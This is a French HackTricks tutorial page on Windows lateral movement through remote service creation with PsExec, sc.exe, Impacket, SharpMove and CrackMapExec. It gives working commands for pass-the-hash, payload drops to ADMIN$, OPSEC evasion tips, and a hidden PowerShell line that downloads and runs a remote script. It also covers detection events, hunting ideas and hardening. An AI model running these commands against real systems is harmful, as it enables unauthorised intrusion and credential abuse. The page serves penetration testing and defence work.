PsExec/Winexec/ScExec/SMBExec
Reading time: 8 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Comment ça fonctionne
Ces techniques abusent du Gestionnaire de ContrÎle de Service Windows (SCM) à distance via SMB/RPC pour exécuter des commandes sur un hÎte cible. Le flux commun est :
- S'authentifier auprÚs de la cible et accéder au partage ADMIN$ via SMB (TCP/445).
- Copier un exécutable ou spécifier une ligne de commande LOLBAS que le service exécutera.
- Créer un service à distance via SCM (MS-SCMR sur \PIPE\svcctl) pointant vers cette commande ou binaire.
- Démarrer le service pour exécuter le payload et éventuellement capturer stdin/stdout via un pipe nommé.
- ArrĂȘter le service et nettoyer (supprimer le service et tout binaire dĂ©posĂ©).
Exigences/prérequis :
- Administrateur local sur la cible (SeCreateServicePrivilege) ou droits explicites de création de service sur la cible.
- SMB (445) accessible et partage ADMIN$ disponible ; Gestion de Service à Distance autorisée via le pare-feu de l'hÎte.
- Restrictions UAC à distance : avec des comptes locaux, le filtrage des jetons peut bloquer l'administrateur sur le réseau à moins d'utiliser l'Administrateur intégré ou LocalAccountTokenFilterPolicy=1.
- Kerberos vs NTLM : utiliser un nom d'hĂŽte/FQDN active Kerberos ; se connecter par IP revient souvent Ă NTLM (et peut ĂȘtre bloquĂ© dans des environnements renforcĂ©s).
ScExec/WinExec manuel via sc.exe
Ce qui suit montre une approche minimale de crĂ©ation de service. L'image du service peut ĂȘtre un EXE dĂ©posĂ© ou un LOLBAS comme cmd.exe ou powershell.exe.
:: Execute a one-liner without dropping a binary
sc.exe \\TARGET create HTSvc binPath= "cmd.exe /c whoami > C:\\Windows\\Temp\\o.txt" start= demand
sc.exe \\TARGET start HTSvc
sc.exe \\TARGET delete HTSvc
:: Drop a payload to ADMIN$ and execute it (example path)
copy payload.exe \\TARGET\ADMIN$\Temp\payload.exe
sc.exe \\TARGET create HTSvc binPath= "C:\\Windows\\Temp\\payload.exe" start= demand
sc.exe \\TARGET start HTSvc
sc.exe \\TARGET delete HTSvc
Notes :
- Attendez-vous à une erreur de délai d'attente lors du démarrage d'un EXE non-service ; l'exécution se produit néanmoins.
- Pour rester plus amical avec l'OPSEC, préférez les commandes sans fichier (cmd /c, powershell -enc) ou supprimez les artefacts déposés.
Trouvez des étapes plus détaillées dans : https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/
Outils et exemples
Sysinternals PsExec.exe
- Outil d'administration classique qui utilise SMB pour déposer PSEXESVC.exe dans ADMIN$, installe un service temporaire (nom par défaut PSEXESVC) et proxy I/O via des pipes nommés.
- Exemples d'utilisation :
:: Interactive SYSTEM shell on remote host
PsExec64.exe -accepteula \\HOST -s -i cmd.exe
:: Run a command as a specific domain user
PsExec64.exe -accepteula \\HOST -u DOMAIN\user -p 'Passw0rd!' cmd.exe /c whoami /all
:: Customize the service name for OPSEC (-r)
PsExec64.exe -accepteula \\HOST -r WinSvc$ -s cmd.exe /c ipconfig
- Vous pouvez lancer directement depuis Sysinternals Live via WebDAV :
\\live.sysinternals.com\tools\PsExec64.exe -accepteula \\HOST -s cmd.exe /c whoami
OPSEC
- Laisse des événements d'installation/désinstallation de service (le nom du service est souvent PSEXESVC sauf si -r est utilisé) et crée C:\Windows\PSEXESVC.exe pendant l'exécution.
Impacket psexec.py (similaire Ă PsExec)
- Utilise un service intégré similaire à RemCom. Dépose un binaire de service transitoire (nom souvent randomisé) via ADMIN$, crée un service (souvent RemComSvc par défaut) et proxy I/O via un pipe nommé.
# Password auth
psexec.py DOMAIN/user:Password@HOST cmd.exe
# Pass-the-Hash
psexec.py -hashes LMHASH:NTHASH DOMAIN/user@HOST cmd.exe
# Kerberos (use tickets in KRB5CCNAME)
psexec.py -k -no-pass -dc-ip 10.0.0.10 DOMAIN/user@host.domain.local cmd.exe
# Change service name and output encoding
psexec.py -service-name HTSvc -codec utf-8 DOMAIN/user:Password@HOST powershell -nop -w hidden -c "iwr http://10.10.10.1/a.ps1|iex"
Artifacts
- EXE temporaire dans C:\Windows\ (8 caractÚres aléatoires). Le nom du service par défaut est RemComSvc, sauf s'il est remplacé.
Impacket smbexec.py (SMBExec)
- CrĂ©e un service temporaire qui lance cmd.exe et utilise un pipe nommĂ© pour l'entrĂ©e/sortie. Ăvite gĂ©nĂ©ralement de dĂ©poser un payload EXE complet ; l'exĂ©cution des commandes est semi-interactive.
smbexec.py DOMAIN/user:Password@HOST
smbexec.py -hashes LMHASH:NTHASH DOMAIN/user@HOST
SharpLateral et SharpMove
- SharpLateral (C#) implémente plusieurs méthodes de mouvement latéral, y compris l'exécution basée sur des services.
SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
- SharpMove inclut la modification/création de services pour exécuter une commande à distance.
SharpMove.exe action=modsvc computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true servicename=TestService
SharpMove.exe action=startservice computername=remote.host.local servicename=TestService
- Vous pouvez également utiliser CrackMapExec pour exécuter via différents backends (psexec/smbexec/wmiexec) :
cme smb HOST -u USER -p PASS -x "whoami" --exec-method psexec
cme smb HOST -u USER -H NTHASH -x "ipconfig /all" --exec-method smbexec
OPSEC, détection et artefacts
Artefacts typiques d'hÎte/réseau lors de l'utilisation de techniques similaires à PsExec :
- Sécurité 4624 (Type de connexion 3) et 4672 (PrivilÚges spéciaux) sur la cible pour le compte administrateur utilisé.
- ĂvĂ©nements de partage de fichiers de sĂ©curitĂ© 5140/5145 et Ă©vĂ©nements dĂ©taillĂ©s de partage de fichiers montrant l'accĂšs ADMIN$ et la crĂ©ation/Ă©criture de binaires de service (par exemple, PSEXESVC.exe ou un .exe alĂ©atoire de 8 caractĂšres).
- Installation de service de sécurité 7045 sur la cible : noms de service comme PSEXESVC, RemComSvc, ou personnalisé (-r / -service-name).
- Sysmon 1 (Création de processus) pour services.exe ou l'image de service, 3 (Connexion réseau), 11 (Création de fichier) dans C:\Windows, 17/18 (Tube créé/connecté) pour des tubes tels que \.\pipe\psexesvc, \.\pipe\remcom_*, ou équivalents randomisés.
- Artefact de registre pour EULA de Sysinternals : HKCU\Software\Sysinternals\PsExec\EulaAccepted=0x1 sur l'hÎte opérateur (si non supprimé).
Idées de chasse
- Alerte sur les installations de service oĂč l'ImagePath inclut cmd.exe /c, powershell.exe, ou des emplacements TEMP.
- Rechercher des crĂ©ations de processus oĂč ParentImage est C:\Windows\PSEXESVC.exe ou des enfants de services.exe s'exĂ©cutant en tant que SYSTEM LOCAL exĂ©cutant des shells.
- Marquer les tubes nommés se terminant par -stdin/-stdout/-stderr ou des noms de tubes bien connus de clone PsExec.
Dépannage des échecs courants
- AccÚs refusé (5) lors de la création de services : pas vraiment administrateur local, restrictions UAC à distance pour les comptes locaux, ou protection contre la falsification EDR sur le chemin binaire du service.
- Le chemin réseau n'a pas été trouvé (53) ou impossible de se connecter à ADMIN$ : pare-feu bloquant SMB/RPC ou partages administratifs désactivés.
- Kerberos échoue mais NTLM est bloqué : se connecter en utilisant le nom d'hÎte/FQDN (pas IP), s'assurer des SPNs appropriés, ou fournir -k/-no-pass avec des tickets lors de l'utilisation d'Impacket.
- Le démarrage du service expire mais le payload s'est exécuté : attendu si ce n'est pas un véritable binaire de service ; capturer la sortie dans un fichier ou utiliser smbexec pour I/O en direct.
Notes de durcissement
- Windows 11 24H2 et Windows Server 2025 nĂ©cessitent la signature SMB par dĂ©faut pour les connexions sortantes (et Windows 11 entrantes). Cela ne casse pas l'utilisation lĂ©gitime de PsExec avec des identifiants valides mais empĂȘche l'abus de relais SMB non signĂ© et peut impacter les appareils qui ne supportent pas la signature.
- Le nouveau blocage NTLM du client SMB (Windows 11 24H2/Server 2025) peut empĂȘcher le retour Ă NTLM lors de la connexion par IP ou Ă des serveurs non-Kerberos. Dans des environnements durcis, cela cassera PsExec/SMBExec basĂ© sur NTLM ; utiliser Kerberos (nom d'hĂŽte/FQDN) ou configurer des exceptions si nĂ©cessaire lĂ©gitimement.
- Principe du moindre privilÚge : minimiser l'appartenance à l'administrateur local, préférer Just-in-Time/Just-Enough Admin, appliquer LAPS, et surveiller/alerter sur les installations de service 7045.
Voir aussi
- Exécution à distance basée sur WMI (souvent plus sans fichier) :
- Exécution à distance basée sur WinRM :
Références
- PsExec - Sysinternals | Microsoft Learn: https://learn.microsoft.com/sysinternals/downloads/psexec
- Durcissement de la sécurité SMB dans Windows Server 2025 & Windows 11 (signature par défaut, blocage NTLM) : https://techcommunity.microsoft.com/blog/filecab/smb-security-hardening-in-windows-server-2025--windows-11/4226591
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.